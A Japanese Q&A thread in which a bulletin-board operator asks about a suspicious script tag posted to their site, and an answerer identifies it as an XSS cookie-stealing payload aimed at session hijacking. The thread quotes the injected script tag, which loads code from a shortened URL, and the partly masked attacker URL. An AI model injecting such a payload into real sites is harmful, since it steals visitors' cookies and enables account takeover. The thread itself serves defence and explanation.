- ベストアンサー
※ ChatGPTを利用し、要約された質問です（原文：掲示板に投稿されたスクリプトについて）
掲示板に投稿されたスクリプトについて
このQ&Aのポイント
- <script src=http://t.cn/RKELMFa></script>というスクリプトが投稿されて内容を確認すると、ユーザー情報を収集する可能性があります。
- 投稿されたスクリプトは、ユーザーのブラウザで実行されるため、悪意のあるコードが含まれている場合は問題が発生する可能性があります。
- このスクリプトが掲示板に投稿されていた期間が長いため、セキュリティ上のリスクが高くなっています。
- sun_bigstar
- お礼率100% (4/4)
- JavaScript
- 回答数1
- ありがとう数1
- みんなの回答 （1）
- 専門家の回答
質問者が選んだベストアンサー
結論から申し上げますとコードには問題があるようです。 短縮URLの元のURLを調べてみますと、 ttp://webxss.top/xss/UbW8hC?1500436086 ということです（一部伏字）。ドメイン名で検索すると中国のサイトであることが分かりました。直接アクセスはしないことをお勧めします。 上記URLに'xss'という文字列が2回出現していることが分かります。このxssとはクロスサイトスクリプティングといい、動的なウェブサイトの脆弱性を利用した攻撃のことを指します。 ここまででも怪しい香りがプンプンします。 ソースコードが何をするのかごく簡単に説明すると、スクリプトが実行されたサイトのURLとユーザーのCookie情報を冒頭URLのサイトに送信します。 CookieとURLを取得することで、セッションハイジャックを狙っているものと推測します。セッションハイジャックは他のユーザーになりすましてウェブサイトに不正侵入することです。（詳しくは参考URL） もし掲示板にXSS脆弱性が存在し、ユーザーが投稿したスクリプトが実行されてしまう状態であれば、掲示板にアクセスしたユーザーの情報が盗み取られて送信されていたものと思われます。 その掲示板はユーザーの投稿をきちんとエスケープして表示していたため、スクリプトは実行されていません。 ただ、実行したらそれなりのことが起こるので削除しておいたほうがよいと思います。
- 参考URL：
- http://sawara.me/php/2348/
お礼
少し焦って質問したので、すごくアバウトな質問でしたが、詳しく説明頂き大変ありがとうございます。 どことは書けませんが、この掲示板はXSSに対する対策がされていませんでした。もう手遅れかもわかりませんが、セッションをすべてクリアしておきたいと思います。 ありがとうございました。